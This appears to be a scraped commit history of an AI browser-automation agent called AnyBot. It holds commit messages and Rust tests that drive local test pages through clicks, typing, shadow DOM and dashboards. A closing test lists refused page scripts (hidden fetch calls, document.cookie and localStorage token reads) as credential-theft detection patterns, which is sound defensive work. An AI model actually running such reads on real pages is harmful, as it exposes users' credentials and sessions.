run("browser_press", &json!({"key": "Tab"}))?;
let after = check(&before, "還沒想好要說什麼")?;
assert_eq!((after["left"].clone(), after["link"].clone()), (json!(true), json!("")), "{after}");
// The search box: a search, not a post.
let list = run("browser_elements", &json!({}))?.0;
let q = list.lines().find(|l| l.contains("搜尋")).and_then(|l| l.split(']').next()).map(|s| s.trim_start_matches('[').to_string()).ok_or(list.clone())?;
let s = info("type", &q, "貓抓板")?;
assert_eq!((s["kind"].clone(), s["text"].clone()), (json!("search"), json!("貓抓板")), "{s}");
Ok(())
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
})
})();
let _ = botbrowser::quit(None);
r.unwrap();
}
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
#[test]
fn a_finished_job_closes_its_browser_unless_another_job_is_on_it() {
let tabs = |ids: &[&str]| ids.iter().map(|i| json!({"id": i})).collect::<Vec<Value>>();
let mine = vec!["a".to_string(), "b".to_string()];
let nobody = |_: &str| false;
// Its own tabs and the person's / leftovers: the whole browser goes.
assert_eq!(tidy_plan("job1", true, &tabs(&["a", "b", "x"]), &mine, nobody), Tidy::Quit);
// Another bot is working in it: only this job's tabs, every one of them.
let busy = |id: &str| id == "z";
assert_eq!(tidy_plan("job1", true, &tabs(&["z", "a", "b"]), &mine, busy), Tidy::Tabs(vec!["a".into(), "b".into()]));
// Switched off: as before, the job's tabs but the page it ended on.
assert_eq!(tidy_plan("job1", false, &tabs(&["a", "b", "x"]), &mine, nobody), Tidy::Tabs(vec!["b".into()]));
// An older brain that doesn't name the job: all but the front page.
assert_eq!(tidy_plan("", true, &tabs(&["a", "b", "x"]), &[], nobody), Tidy::Tabs(vec!["b".into(), "x".into()]));
}
#[test]
fn nothing_to_fill_means_no_fill_action() {
let fills = |t: &Value| t["parameters"]["properties"]["action"]["enum"].as_array().unwrap().iter().any(|a| a == "fill");
// An empty vault: the action, its line and its fields are gone; the rest stays.
let mut specs = vec![tool(&json!({"type": "string"})), json!({"name": "web_fetch"})];
limit_fill(&mut specs, &[]);
let t = &specs[0];
assert!(!fills(t));
let d = t["description"].as_str().unwrap();
assert!(!d.contains("- fill ") && d.contains("- type {ref|text, value"), "{d}");
assert!(t["parameters"]["properties"]["kind"].is_null() && t["parameters"]["properties"]["id"].is_null());
assert!(!t["parameters"]["properties"]["submit"]["description"].as_str().unwrap().contains("fill"));
assert_eq!(specs[1], json!({"name": "web_fetch"}));
// Contacts only: fill stays, naming that kind alone.
let mut specs = vec![tool(&json!({"type": "string"}))];
limit_fill(&mut specs, &["contact"]);
assert!(fills(&specs[0]));
assert_eq!(specs[0]["parameters"]["properties"]["kind"]["enum"], json!(["contact"]));
}
use super::*;
#[test]
fn keys_and_changes() {
assert_eq!(key_info("Enter").unwrap().0, "Enter");
assert!(key_info("F13").is_none());
let a = ("t".to_string(), "u1".to_string(), vec!["a".to_string(), "b".to_string()]);
let b = ("t".to_string(), "u2".to_string(), vec!["a".to_string(), "c".to_string()]);
let c = changes(&a, &b);
assert!(c.contains("網址變成:u2") && c.contains("新出現的文字:\nc"));
assert!(changes(&a, &a).contains("沒有變化"));
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
#[test]
fn the_front_page_tab_is_used() {
let list = json!([
{"type": "service_worker", "url": "https://x", "webSocketDebuggerUrl": "ws://a"},
{"type": "page", "url": "devtools://devtools", "webSocketDebuggerUrl": "ws://b"},
{"type": "page", "url": "https://www.threads.net/", "title": "Threads", "webSocketDebuggerUrl": "ws://c"},
{"type": "page", "url": "https://example.com/", "webSocketDebuggerUrl": "ws://d"}
]);
let p = pages(&list);
assert_eq!(p.len(), 2);
assert_eq!(p[0]["webSocketDebuggerUrl"], "ws://c");
}
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
/// Controls inside web components (open shadow roots, two levels deep) get numbers and can be
/// clicked and typed into, like Chromium's settings pages and many app frameworks. Headless:
/// `ANYBOT_DATA_DIR=<scratch> ANYBOT_BROWSER_ENGINE=firefox ANYBOT_FIREFOX_HEADLESS=1 cargo test
/// numbers_controls_inside_web_components -- --ignored --nocapture` (or Chrome, with a window).
#[test]
#[ignore]
fn numbers_controls_inside_web_components() {
use std::io::{Read, Write};
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
for mut c in l.incoming().flatten() {
let mut buf = [0u8; 4096];
let _ = c.read(&mut buf);
let body = r#"<html><head><meta charset=utf-8><title>元件</title></head><body>
<h1>設定</h1><my-panel></my-panel><p id=out>還沒按</p>
<script>
customElements.define('my-toggle', class extends HTMLElement { constructor() { super(); const r = this.attachShadow({mode: 'open'});
r.innerHTML = '<div role=switch tabindex=0 aria-label="自動更新" aria-checked=false style="width:40px;height:20px;background:#ccc"></div>';
const s = r.firstChild; s.addEventListener('click', () => { s.setAttribute('aria-checked', 'true'); document.getElementById('out').textContent = '自動更新:開'; }); } });
customElements.define('my-panel', class extends HTMLElement { constructor() { super(); const r = this.attachShadow({mode: 'open'});
r.innerHTML = '<input id=n placeholder="名稱"> <button id=go>開始</button> <my-toggle></my-toggle>';
r.getElementById('go').addEventListener('click', () => { document.getElementById('out').textContent = '按了開始:' + r.getElementById('n').value; }); } });
</script></body></html>"#;
let _ = write!(c, "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n", body.len());
let _ = c.write_all(body.as_bytes());
}
});
crate::botbrowser::add("shadow-test").unwrap();
let p = |v: Value| {
let mut v = v;
v["profile"] = json!("shadow-test");
v
};
let go = || -> Result<(), String> {
crate::botbrowser::open(&format!("http://127.0.0.1:{port}/"), Some("shadow-test"))?;
let (els, _) = run("browser_elements", &p(json!({})))?;
println!("{els}");
for want in ["「名稱」", "「開始」", "「自動更新」"] {
assert!(els.contains(want), "{want} missing: {els}");
}
let n = els.lines().find(|l| l.contains("「開始」")).and_then(|l| l.trim_start().strip_prefix('[')).and_then(|r| r.split(']').next()).unwrap().to_string();
run("browser_type", &p(json!({"text": "名稱", "value": "小明"})))?;
let (r, _) = run("browser_click", &p(json!({"ref": n})))?;
assert!(r.contains("按了開始:小明"), "{r}");
let (r, _) = run("browser_click", &p(json!({"text": "自動更新"})))?;
assert!(r.contains("自動更新:開"), "{r}");
Ok(())
};
let r = go();
let _ = crate::botbrowser::remove("shadow-test");
r.unwrap();
}
/// A dashboard like Shopee's affiliate pages: a React-style date picker that only reacts to
/// real clicks, a custom dropdown, a table, a hover menu, an export. Run with ANYBOT_DATA_DIR
/// set to a scratch folder; opens a browser window for a moment.
#[test]
#[ignore]
fn drives_a_dashboard() {
use std::io::{Read, Write};
let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
for mut c in l.incoming().flatten() {
let mut buf = [0u8; 4096];
let n = c.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]).to_string();
let (ctype, body): (&str, Vec<u8>) = if req.starts_with("GET /export") {
("text/csv\r\nContent-Disposition: attachment; filename=\"report.csv\"", "商品,佣金\nA,10\n".as_bytes().to_vec())
} else {
("text/html; charset=utf-8", r#"<html><head><title>成效</title><style>.day{cursor:pointer;display:inline-block;padding:4px}</style></head><body>
<div id=range class=pick tabindex=0 aria-label="數據周期">2026-11-03</div>
<div id=cal style="display:none"><span class=day>近7天</span><span class=day>近30天</span></div>
<div id=menu>商品分析</div><div id=sub style="display:none">分潤率排行</div>
<div id=dd role=combobox aria-label="排序">預設</div><ul id=opts role=listbox style="display:none"><li role=option>佣金由高到低</li><li role=option>銷量</li></ul>
<input id=q placeholder="搜尋商品">
<div role=table aria-label="商品"><div role=row><span role=columnheader>商品</span><span role=columnheader>分潤率</span></div><div role=row><span role=cell>手機殼</span><span role=cell>8%</span></div><div role=row><span role=cell>乳液</span><span role=cell>12%</span></div></div>
<p id=out>點擊 0</p><a href="/export">匯出報表</a>
<script>
// Only trusted (real) clicks open the calendar, like many React pickers.
range.addEventListener('mousedown', e => { if (e.isTrusted) cal.style.display = 'block'; });
for (const d of document.querySelectorAll('.day')) d.addEventListener('click', e => { if (!e.isTrusted) return; range.innerText = d.innerText; out.innerText = d.innerText === '近30天' ? '點擊 60,訂單 3' : '點擊 9'; cal.style.display = 'none'; });
menu.addEventListener('mouseover', () => sub.style.display = 'block');
dd.addEventListener('click', () => opts.style.display = 'block');
for (const o of opts.children) o.addEventListener('click', () => { dd.innerText = o.innerText; opts.style.display = 'none'; });
q.addEventListener('keydown', e => { if (e.key === 'Enter') out.innerText = '搜尋:' + q.value; });
</script></body></html>"#.as_bytes().to_vec())
};
let _ = write!(c, "HTTP/1.1 200 OK\r\nContent-Type: {ctype}\r\nContent-Length: {}\r\nConnection: close\r\n\r\n", body.len());
let _ = c.write_all(&body);
}
});
crate::botbrowser::add("drive-test").unwrap();
let p = |v: Value| { let mut v = v; v["profile"] = json!("drive-test"); v };
let go = || -> Result<(), String> {
crate::botbrowser::open(&format!("http://127.0.0.1:{port}/"), Some("drive-test"))?;
let (els, _) = run("browser_elements", &p(json!({})))?;
assert!(els.contains("「數據周期」"), "{els}");
run("browser_hover", &p(json!({"text": "商品分析"})))?;
let (shown, _) = run("browser_eval", &p(json!({"script": "getComputedStyle(document.getElementById('sub')).display"})))?;
assert_eq!(shown.trim(), "block");
// Real click opens the picker; a calendar day (only a pointer cursor) is listed and clickable.
let (r, _) = run("browser_click", &p(json!({"text": "數據周期"})))?;
assert!(r.contains("近30天"), "{r}");
let (r, _) = run("browser_click", &p(json!({"text": "近30天"})))?;
assert!(r.contains("點擊 60,訂單 3"), "{r}");
let (r, _) = run("browser_select", &p(json!({"text": "排序", "option": "佣金由高到低"})))?;
assert!(r.contains("佣金由高到低"), "{r}");
let (r, _) = run("browser_type", &p(json!({"text": "搜尋商品", "value": "手機殼", "submit": true})))?;
assert!(r.contains("搜尋:手機殼"), "{r}");
let (t, _) = run("browser_table", &p(json!({})))?;
assert!(t.contains("| 商品 | 分潤率 |") && t.contains("| 乳液 | 12% |"), "{t}");
let (f, _) = run("browser_find", &p(json!({"text": "手機殼"})))?;
assert!(f.contains("搜尋:手機殼") && f.contains("8%"), "{f}");
let (_, img) = run("browser_screenshot", &p(json!({})))?;
assert!(img.map(|b| b.len() > 1000).unwrap_or(false));
let (tabs, _) = run("browser_tabs", &p(json!({"action": "list"})))?;
assert!(tabs.contains("成效"), "{tabs}");
let (d, _) = run("browser_download", &p(json!({"text": "匯出報表"})))?;
assert!(d.contains("report") && d.contains(".csv"), "{d}");
let (v, _) = run("browser_eval", &p(json!({"script": "document.querySelectorAll('[role=row]').length"})))?;
assert_eq!(v.trim(), "3");
assert!(run("browser_eval", &p(json!({"script": "fetch('/api/x')"}))).is_err());
let (t, img) = run("browser_screenshot", &p(json!({})))?;
assert!(img.is_some() && t.contains("紅框") && t.contains("[1]"), "{t}");
let (gone, _) = run("browser_eval", &p(json!({"script": "!document.getElementById('__anybot_marks')"})))?;
assert_eq!(gone.trim(), "true");
Ok(())
};
let r = go();
let _ = crate::botbrowser::remove("drive-test");
r.unwrap();
}
2026-11-11 08:19:06 +00:00
#[test]
fn eval_refusal_blocks_whitespace_and_credential_reads() {
assert!(eval_refusal("fetch\n('/api/x')").is_some());
assert!(eval_refusal("fetch\t('/api/x')").is_some());
assert!(eval_refusal("document.cookie").is_some());
assert!(eval_refusal("window.localStorage.getItem('token')").is_some());
assert!(eval_refusal("document.querySelectorAll('a').length").is_none());
}
}